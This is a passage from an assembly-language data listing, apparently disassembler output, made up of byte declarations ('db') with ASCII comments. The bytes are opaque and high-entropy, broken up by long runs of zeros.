0F6h ; db 43h ; C db 1Eh ; db 7Dh ; } db 83h ; db 0CEh ; db 9Fh ; db 9Ch ; db 2Bh ; + db 1Dh ; db 23h ; # db 0C7h ; db 55h ; U db 3Eh ; > db 23h ; # db 0D7h ; db 60h ; ` db 0DCh ; db 65h ; e db 8Bh ; db 21h ; ! db 51h ; Q db 0F4h ; db 34h ; 4 db 0D1h ; db 5Ch ; \ db 1Ch ; db 86h ; db 59h ; Y db 63h ; c db 0C9h ; db 9Fh ; db 0BBh ; db 2Bh ; + db 92h ; db 31h ; 1 db 94h ; db 0E8h ; db 0A7h ; db 7 ; db 2Ah ; * db 9Fh ; db 9Fh ; db 5Ah ; Z db 69h ; i db 0BEh ; db 62h ; b db 0C4h ; db 42h ; B db 10h ; db 8Eh ; db 74h ; t db 7Ah ; z db 5Bh ; [ db 4 ; db 0E3h ; db 1Dh ; db 0BEh ; db 1Ah ; db 0A5h ; db 22h ; " db 0D8h ; db 8Ah ; db 11h ; db 0C4h ; db 34h ; 4 db 0BAh ; db 5 ; db 0B5h ; db 14h ; db 0D8h ; db 0B3h ; db 0DEh ; db 3Fh ; ? db 0BFh ; db 16h ; db 1Ah ; db 0C5h ; db 8Fh ; db 0BCh ; db 96h ; db 0B8h ; db 0B1h ; db 0ECh ; db 0EEh ; db 6Dh ; m db 0F5h ; db 0FDh ; db 6Bh ; k db 0FBh ; db 31h ; 1 db 4Bh ; K db 65h ; e db 0F4h ; db 0B6h ; db 16h ; db 36h ; 6 db 1Ah ; db 10h ; db 0FBh ; db 95h ; db 75h ; u db 6Bh ; k db 0FEh ; db 47h ; G db 1Ah ; db 0DCh ; db 89h ; db 80h ; db 0D9h ; db 80h ; db 0A5h ; db 0A5h ; db 0BDh ; db 80h ; db 82h ; db 28h ; ( db 20h ; db 9Ah ; db 66h ; f db 0Fh ; db 0EBh ; db 31h ; 1 db 90h ; db 1Fh ; db 8Fh ; db 0FCh ; db 10h ; db 33h ; 3 db 6Ah ; j db 97h ; db 7Eh ; ~ db 7Bh ; { db 6Ah ; j db 0E2h ; db 8Ah ; db 36h ; 6 db 68h ; h db 0DFh ; db 0B8h ; db 0A0h ; db 0E3h ; db 3Ch ; < db 0CEh ; db 62h ; b db 42h ; B db 8Eh ; db 0A2h ; db 51h ; Q db 0A3h ; db 75h ; u db 0C9h ; db 0B6h ; db 0B0h ; db 6Ch ; l db 83h ; db 75h ; u db 59h ; Y db 44h ; D db 3Fh ; ? db 65h ; e db 0B5h ; db 31h ; 1 db 8Ah ; db 0E3h ; db 56h ; V db 0C3h ; db 0A6h ; db 0ABh ; db 0FAh ; db 35h ; 5 db 0A0h ; db 0FBh ; db 90h ; db 1 ; db 52h ; R db 0EDh ; db 0C4h ; db 9Fh ; db 1Bh ; db 49h ; I db 0BCh ; db 88h ; db 4Ah ; J db 11h ; db 40h ; @ db 16h ; db 41h ; A db 80h ; db 5Bh ; [ db 0 ; db 5Eh ; ^ db 23h ; # db 0F3h ; db 0F4h ; db 49h ; I db 46h ; F db 8Dh ; db 1Eh ; db 6 ; db 0DEh ; db 0A8h ; db 36h ; 6 db 49h ; I db 53h ; S db 0C5h ; db 73h ; s db 2Ah ; * db 0BDh ; db 0E6h ; db 0A7h ; db 0Ch ; db 97h ; db 0A6h ; db 0C1h ; db 94h ; db 70h ; p db 18h ; db 47h ; G db 0EFh ; db 49h ; I db 0DBh ; db 0D2h ; db 5Bh ; [ db 3Fh ; ? db 6Ch ; l db 92h ; db 0D4h ; db 9 ; db 62h ; b db 0AEh ; db 49h ; I db 39h ; 9 db 43h ; C db 2Dh ; - db 0C6h ; db 0A3h ; db 0F4h ; db 34h ; 4 db 94h ; db 5Dh ; ] db 30h ; 0 db 0D4h ; db 5 ; db 1Ah ; db 0D6h ; db 0D9h ; db 25h ; % db 3 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0E0h ; db 33h ; 3 db 13h ; db 65h ; e db 68h ; h db 9 ; db 0E3h ; db 3Fh ; ? db 4Dh ; M db 7Dh ; } db 0B2h ; db 0CFh ; db 8Dh ; db 0E2h ; db 49h ; I db 21h ; ! db 47h ; G db 2Eh ; . db 0ECh ; db 54h ; T db 0E3h ; db 87h ; db 0EEh ; db 84h ; db 75h ; u db 6 ; db 0B6h ; db 0BBh ; db 8Ah ; db 8Bh ; db 36h ; 6 db 91h ; db 0A1h ; db 0E5h ; db 0A5h ; db 55h ; U db 6Dh ; m db 0D5h ; db 2Eh ; . db 73h ; s db 77h ; w db 82h ; db 0FDh ; db 42h ; B db 0D1h ; db 50h ; P db 0EAh ; db 0B2h ; db 8Dh ; db 0B7h ; db 51h ; Q db 9Eh ; db 2Ch ; , db 34h ; 4 db 98h ; db 0BCh ; db 0DAh ; db 50h ; P db 0C8h ; db 0F1h ; db 0D6h ; db 6Eh ; n db 86h ; db 12h ; db 2Ch ; , db 34h ; 4 db 19h ; db 87h ; db 49h ; I db 79h ; y db 92h ; db 0C2h ; db 69h ; i db 0F8h ; db 0D2h ; db 4Ah ; J db 2Eh ; . db 91h ; db 66h ; f db 8Fh ; db 0FDh ; db 0C7h ; db 71h ; q db 2Dh ; - db 84h ; db 0A7h ; db 57h ; W db 0EBh ; db 52h ; R db 55h ; U db 23h ; # db 0CCh ; db 0EDh ; db 7Fh ;  db 0FBh ; db 0E0h ; db 1Ch ; db 86h ; db 0F3h ; db 0E1h ; db 9Ch ; db 20h ; db 38h ; 8 db 49h ; I db 0B4h ; db 13h ; db 97h ; db 34h ; 4 db 1 ; db 0C1h ; db 34h ; 4 db 0DEh ; db 54h ; T db 6Ch ; l db 8Ch ; db 9Ch ; db 28h ; ( db 0A8h ; db 0A7h ; db 43h ; C db 66h ; f db 0BBh ; db 2Dh ; - db 0F3h ; db 64h ; d db 0CBh ; db 0E3h ; db 1 ; db 0FFh ; db 74h ; t db 80h ; db 0E9h ; db 2Eh ; . db 89h ; db 0E3h ; db 94h ; db 7Fh ;  db 0C1h ; db 10h ; db 92h ; db 6Fh ; o db 0F1h ; db 0A8h ; db 0D6h ; db 1Eh ; db 28h ; ( db 0A8h ; db 0B3h ; db 0BBh ; db 7Ah ; z db 96h ; db 40h ; @ db 14h ; db 15h ; db 5Ah ; Z db 0EDh ; db 0FBh ; db 52h ; R db 99h ; db 44h ; D db 1Eh ; db 0B4h ; db 13h ; db 0C3h ; db 9 ; db 0E6h ; db 0AFh ; db 16h ; db 0A4h ; db 0BCh ; db 0A2h ; db 1Fh ; db 82h ; db 11h ; db 0F1h ; db 0B4h ; db 64h ; d db 12h ; db 0FBh ; db 74h ; t db 0C9h ; db 0BAh ; db 91h ; db 0ABh ; db 0D6h ; db 0C7h ; db 0D6h ; db 35h ; 5 db 0FFh ; db 48h ; H db 8Eh ; db 43h ; C db 0BDh ; db 19h ; db 44h ; D db 65h ; e db 56h ; V db 0A6h ; db 0C4h ; db 10h ; db 55h ; U db 5Eh ; ^ db 68h ; h db 36h ; 6 db 4Ch ; L db 55h ; U db 33h ; 3 db 97h ; db 86h ; db 49h ; I db 0ABh ; db 0FEh ; db 21h ; ! db 0BDh ; db 0Dh ; db 1Dh ; db 49h ; I db 0FEh ; db 3Ch ; < db 66h ; f db 0A4h ; db 2Dh ; - db 98h ; db 0A7h ; db 4Ch ; L db 0EAh ; db 0CBh ; db 7Bh ; { db 0Ch ; db 11h ; db 9Eh ; db 8Ah ; db 6Bh ; k db 0C5h ; db 79h ; y db 47h ; G db 0A0h ; db 0C5h ; db 5Fh ; _ db 2Eh ; . db 0Eh ; db 0D8h ; db 84h ; db 44h ; D db 0F4h ; db 0A9h ; db 1Ah ; db 3Ch ; < db 20h ; db 0Fh ; db 73h ; s db 0ABh ; db 0B1h ; db 57h ; W db 6Ah ; j db 0A6h ; db 0F7h ; db 52h ; R db 0D7h ; db 62h ; b db 0DCh ; db 0A7h ; db 87h ; db 0FFh ; db 45h ; E db 45h ; E db 94h ; db 60h ; ` db 4 ; db 66h ; f db 40h ; @ db 2Fh ; / db 0A4h ; db 0C1h ; db 77h ; w db 5Dh ; ] db 37h ; 7 db 0ACh ; db 0C9h ; db 0EFh ; db 0D7h ; db 66h ; f db 0E8h ; db 0F0h ; db 95h ; db 46h ; F db 74h ; t db 85h ; db 8Ch ; db 42h ; B db 81h ; db 96h ; db 6Bh ; k db 0FCh ; db 0A1h ; db 7Bh ; { db 7Ch ; | db 91h ; db 0D7h ; db 19h ; db 3Ch ; < db 0F0h ; db 7Bh ; { db 41h ; A db 0EBh ; db 33h ; 3 db 5Bh ; [ db 91h ; db 0F7h ; db 15h ; db 57h ; W db 5Fh ; _ db 0AEh ; db 6Ch ; l db 8Fh ; db 0FDh ; db 8 ; db 7 ; db 0DBh ; db 8Eh ; db 0ACh ; db 25h ; % db 0B1h ; db 0B7h ; db 0E6h ; db 5Ch ; \ db 78h ; x db 5Bh ; [ db 81h ; db 0C6h ; db 56h ; V db 0DBh ; db 0EAh ; db 46h ; F db 6Fh ; o db 0EEh ; db 0BEh ; db 0EEh ; db 4Eh ; N db 0D8h ; db 55h ; U db 53h ; S db 19h ; db 3Ch ; < db 0DEh ; db 44h ; D db 0A2h ; db 0C0h ; db 89h ; db 73h ; s db 9Dh ; db 0BDh ; db 1Ah ; db 76h ; v db 53h ; S db 19h ; db 0D0h ; db 99h ; db 0CFh ; db 4Bh ; K db 0C2h ; db 9Eh ; db 0DEh ; db 39h ; 9 db 0CEh ; db 76h ; v db 0Dh ; db 81h ; db 0B1h ; db 0BEh ; db 70h ; p db 0EEh ; db 0ECh ; db 55h ; U db 2Eh ; . db 79h ; y db 60h ; ` db 0F8h ; db 0D5h ; db 4Bh ; K db 9Dh ; db 6Dh ; m db 0F5h ; db 0FBh ; db 86h ; db 88h ; db 0FBh ; db 83h ; db 5Ah ; Z db 0EFh ; db 13h ; db 0C5h ; db 43h ; C db 8Fh ; db 40h ; @ db 0A4h ; db 89h ; db 33h ; 3 db 3Fh ; ? db 43h ; C db 79h ; y db 0D3h ; db 0FAh ; db 5Ch ; \ db 0F4h ; db 0CCh ; db 58h ; X db 46h ; F db 0F8h ; db 2Dh ; - db 0F8h ; db 3Eh ; > db 7Fh ;  db 5Ch ; \ db 41h ; A db 18h ; db 0E8h ; db 15h ; db 29h ; ) db 0F4h ; db 5Ch ; \ db 3Dh ; = db 8Bh ; db 27h ; ' db 5Fh ; _ db 44h ; D db 6Ah ; j db 7Ah ; z db 0B5h ; db 0DBh ; db 0F8h ; db 70h ; p db 0 ; db 8Fh ; db 0CAh ; db 0ECh ; db 3 ; db 0D8h ; db 8Ah ; db 34h ; 4 db 7Ch ; | db 0E8h ; db 0B2h ; db 45h ; E db 92h ; db 8Fh ; db 3 ; db 6Ch ; l db 8Ah ; db 0DDh ; db 0BEh ; db 0E0h ; db 0DEh ; db 0C9h ; db 0C7h ; db 56h ; V db 7Dh ; } db 0ACh ; db 0Eh ; db 14h ; db 0FAh ; db 0D3h ; db 2Ah ; * db 40h ; @ db 8 ; db 0DEh ; db 0E0h ; db 7Ch ; | db 67h ; g db 75h ; u db 0F7h ; db 0D5h ; db 0Ah ; db 0BDh ; db 0F1h ; db 1Eh ; db 22h ; " db 0BEh ; db 92h ; db 0B9h ; db 1Fh ; db 0FAh ; db 87h ; db 0A4h ; db 4 ; db 9Dh ; db 0CEh ; db 0A9h ; db 6Fh ; o db 0C3h ; db 0D2h ; db 24h ; $ db 70h ; p db 6Fh ; o db 3Fh ; ? db 62h ; b db 0AFh ; db 28h ; ( db 0B0h ; db 0EEh ; db 55h ; U db 78h ; x db 90h ; db 0D6h ; db 49h ; I db 3Eh ; > db 0D8h ; db 0DCh ; db 0C5h ; db 0FAh ; db 4Eh ; N db 0ABh ; db 1Ah ; db 15h ; db 0E7h ; db 6Bh ; k db 8Ch ; db 0CDh ; db 77h ; w db 7Dh ; } db 3Bh ; ; db 75h ; u db 0Ah ; db 0B4h ; db 8 ; db 0F9h ; db 0Ah ; db 23h ; # db 36h ; 6 db 98h ; db 8Ch ; db 27h ; ' db 30h ; 0 db 0Fh ; db 0E5h ; db 71h ; q db 27h ; ' db 22h ; " db 94h ; db 0D6h ; db 0E2h ; db 8 ; db 1Dh ; db 0E6h ; db 28h ; ( db 0E9h ; db 0F7h ; db 0A6h ; db 5Ch ; \ db 0EEh ; db 0F2h ; db 3Ch ; < db 0B9h ; db 61h ; a db 1Bh ; db 2Bh ; + db 96h ; db 0EBh ; db 11h ; db 1Ch ; db 0B2h ; db 48h ; H db 96h ; db 0A1h ; db 0CBh ; db 2Bh ; + db 0CEh ; db 54h ; T db 71h ; q db 0F7h ; db 34h ; 4 db 30h ; 0 db 0BEh ; db 0BEh ; db 7Bh ; { db 19h ; db 0A3h ; db 26h ; & db 0E5h ; db 0ACh ; db 29h ; ) db 0E3h ; db 8Ch ; db 0D2h ; db 74h ; t db 4Ah ; J db 0DEh ; db 0D5h ; db 53h ; S db 0DCh ; db 0B5h ; db 0B3h ; db 0E8h ; db 9 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0C0h ; db 67h ; g db 2Ah ; * db 8Dh ; db 4Eh ; N db 72h ; r db 0D4h ; db 0E7h ; db 7Ah ; z db 0FEh ; db 8Eh ; db 90h ; db 1Eh ; db 9Ah ; db 0F8h ; db 17h ; db 41h ; A db 8 ; db 0EFh ; db 54h ; T db 51h ; Q db 0E0h ; db 54h ; T db 51h ; Q db 0BBh ; db 0B1h ; db 13h ; db 29h ; ) db 0E8h ; db 6Bh ; k db 50h ; P db 72h ; r db 0B1h ; db 29h ; ) db 0FBh ; db 4Eh ; N db 57h ; W db 99h ; db 0E5h ; db 46h ; F db 61h ; a db 0DAh ; db 0F0h ; db 0D3h ; db 0Eh ; db 6Ch ; l db 80h ; db 0BEh ; db 0E5h ; db 6Ah ; j db 0B8h ; db 93h ; db 5Eh ; ^ db 15h ; db 45h ; E db 0C2h ; db 1Ch ; db 59h ; Y db 0C0h ; db 34h ; 4 db 7Ch ; | db 1Eh ; db 7Eh ; ~ db 0DAh ; db 23h ; # db 48h ; H db 7Ch ; | db 0CEh ; db 4Ch ; L db 1Fh ; db 1Dh ; db 0E8h ; db 0A1h ; db 8Bh ; db 9Bh ; db 75h ; u db 0DFh ; db 0BFh ; db 0D6h ; db 10h ; db 0BEh ; db 41h ; A db 0E3h ; db 78h ; x db 0AEh ; db 0DFh ; db 0C2h ; db 0B2h ; db 67h ; g db 6Bh ; k db 1 ; db 1Ah ; db 7Fh ;  db 23h ; # db 0Fh ; db 0CDh ; db 0ABh ; db 0BEh ; db 3Dh ; = db 74h ; t db 25h ; % db 6Ah ; j db 0AFh ; db 0D7h ; db 0E6h ; db 0B3h ; db 0CAh ; db 80h ; db 0Eh ; db 2Eh ; . db 14h ; db 27h ; ' db 91h ; db 95h ; db 61h ; a db 11h ; db 48h ; H db 23h ; # db 2Ch ; , db 1 ; db 97h ; db 0 ; db 87h ; db 82h ; db 0F9h ; db 4Bh ; K db 0CBh ; db 84h ; db 9Ch ; db 16h ; db 0F8h ; db 8Ch ; db 2Fh ; / db 5 ; db 88h ; db 0D4h ; db 0E6h ; db 0DDh ; db 68h ; h db 61h ; a db 17h ; db 13h ; db 0BCh ; db 5 ; db 9 ; db 0Bh ; db 0FFh ; db 41h ; A db 9Ch ; db 0ABh ; db 54h ; T db 24h ; $ db 0B2h ; db 13h ; db 76h ; v db 4Eh ; N db 30h ; 0 db 1Ch ; db 1Ah ; db 7Bh ; { db 16h ; db 0FEh ; db 3Bh ; ; db 47h ; G db 2Dh ; - db 1Ch ; db 44h ; D db 9Ch ; db 0EAh ; db 6Ch ; l db 4Fh ; O db 81h ; db 61h ; a db 0F0h ; db 78h ; x db 0B8h ; db 9Fh ; db 65h ; e db 0EBh ; db 41h ; A db 0AEh ; db 0C7h ; db 30h ; 0 db 0Eh ; db 0Dh ; db 7Eh ; ~ db 94h ; db 0D7h ; db 0CAh ; db 0EBh ; db 0A1h ; db 56h ; V db 95h ; db 7Dh ; } db 0D9h ; db 4Dh ; M db 50h ; P db 30h ; 0 db 21h ; ! db 0CBh ; db 9 ; db 83h ; db 1Ah ; db 7 ; db 0D5h ; db 0ACh ; db 0F2h ; db 2Ah ; * db 0C7h ; db 8Eh ; db 3Fh ; ? db 3Ah ; : db 37h ; 7 db 82h ; db 0FDh ; db 0BCh ; db 42h ; B db 0A8h ; db 95h ; db 32h ; 2 db 4Dh ; M db 0Fh ; db 28h ; ( db 0C0h ; db 8Ah ; db 61h ; a db 0F3h ; db 4 ; db 4Fh ; O db 1Ah ; db 81h ; db 0B4h ; db 0A5h ; db 0C3h ; db 6Dh ; m db 1Bh ; db 7Ah ; z db 96h ; db 0D3h ; db 98h ; db 0C8h ; db 0B8h ; db 15h ; db 8Fh ; db 38h ; 8 db 0FEh ; db 0DCh ; db 0A0h ; db 0B2h ; db 4Eh ; N db 45h ; E db 9 ; db 0B9h ; db 38h ; 8 db 87h ; db 96h ; db 0E9h ; db 0C4h ; db 10h ; db 11h ; db 0CCh ; db 0D9h ; db 2Bh ; + db 0Ch ; db 0CDh ; db 97h ; db 32h ; 2 db 30h ; 0 db 0ECh ; db 5Fh ; _ db 65h ; e db 0B1h ; db 25h ; % db 7 ; db 0AEh ; db 0E8h ; db 0Eh ; db 9 ; db 0F4h ; db 0EEh ; db 19h ; db 7Dh ; } db 3 ; db 0EDh ; db 6Fh ; o db 8Ch ; db 39h ; 9 db 6Bh ; k db 0F2h ; db 9Ah ; db 3Bh ; ; db 50h ; P db 0A4h ; db 94h ; db 0C9h ; db 43h ; C db 17h ; db 34h ; 4 db 0B5h ; db 0B2h ; db 97h ; db 0A6h ; db 75h ; u db 0C1h ; db 0B9h ; db 50h ; P db 0ACh ; db 92h ; db 5Bh ; [ db 0CBh ; db 3Ch ; < db 5 ; db 62h ; b db 0E0h ; db 0FFh ; db 61h ; a db 97h ; db 32h ; 2 db 0A8h ; db 42h ; B db 52h ; R db 0EAh ; db 0DFh ; db 0DBh ; db 0CAh ; db 83h ; db 0EBh ; db 0F7h ; db 0ADh ; db 9Dh ; db 0E7h ; db 69h ; i db 0EEh ; db 20h ; db 3Ch ; < db 17h ; db 68h ; h db 0Ah ; db 1Eh ; db 7Ah ; z db 0B9h ; db 21h ; ! db 70h ; p db 0FAh ; db 74h ; t db 30h ; 0 db 74h ; t db 76h ; v db 0A7h ; db 6Ch ; l db 17h ; db 0F6h ; db 8Ah ; db 0FBh ; db 77h ; w db 0EBh ; db 9Bh ; db 0A1h ; db 0ECh ; db 0DEh ; db 0F1h ; db 0BAh ; db 92h ; db 12h ; db 0B7h ; db 63h ; c db 0AFh ; db 8Bh ; db 0C8h ; db 35h ; 5 db 0DEh ; db 8Ch ; db 8Fh ; db 0EBh ; db 0A4h ; db 0E9h ; db 0D5h ; db 37h ; 7 db 0E1h ; db 0A0h ; db 64h ; d db 0B4h ; db 40h ; @ db 0E8h ; db 0CDh ; db 0D1h ; db 87h ; db 0BDh ; db 3Bh ; ; db 92h ; db 42h ; B db 0FFh ; db 62h ; b db 8Fh ; db 0CDh ; db 0F3h ; db 90h ; db 26h ; & db 2Eh ; . db 16h ; db 0DCh ; db 5Eh ; ^ db 9 ; db 1Bh ; db 9Fh ; db 0C8h ; db 59h ; Y db 5Dh ; ] db 0FDh ; db 0A8h ; db 1Fh ; db 3Dh ; = db 75h ; u db 38h ; 8 db 51h ; Q db 29h ; ) db 2Bh ; + db 0Ah ; db 39h ; 9 db 18h ; db 2Fh ; / db 15h ; db 80h ; db 25h ; % db 0D9h ; db 0D8h ; db 2Dh ; - db 3Eh ; > db 0D8h ; db 84h ; db 0F9h ; db 74h ; t db 2Eh ; . db 87h ; db 7Ah ; z db 0AFh ; db 1Fh ; db 9Eh ; db 0C1h ; db 2Dh ; - db 54h ; T db 4Dh ; M db 0EDh ; db 0D0h ; db 0B5h ; db 0F9h ; db 0ECh ; db 75h ; u db 0EAh ; db 62h ; b db 94h ; db 0DFh ; db 0Ah ; db 3Ch ; < db 0C5h ; db 34h ; 4 db 0A1h ; db 0AEh ; db 0Ch ; db 39h ; 9 db 0D4h ; db 0A2h ; db 37h ; 7 db 8Ah ; db 2Eh ; . db 0FAh ; db 0C8h ; db 7Eh ; ~ db 32h ; 2 db 81h ; db 21h ; ! db 27h ; ' db 0B8h ; db 7Bh ; { db 6Eh ; n db 20h ; db 8 ; db 24h ; $ db 2Dh ; - db 0E0h ; db 10h ; db 0BEh ; db 50h ; P db 0B8h ; db 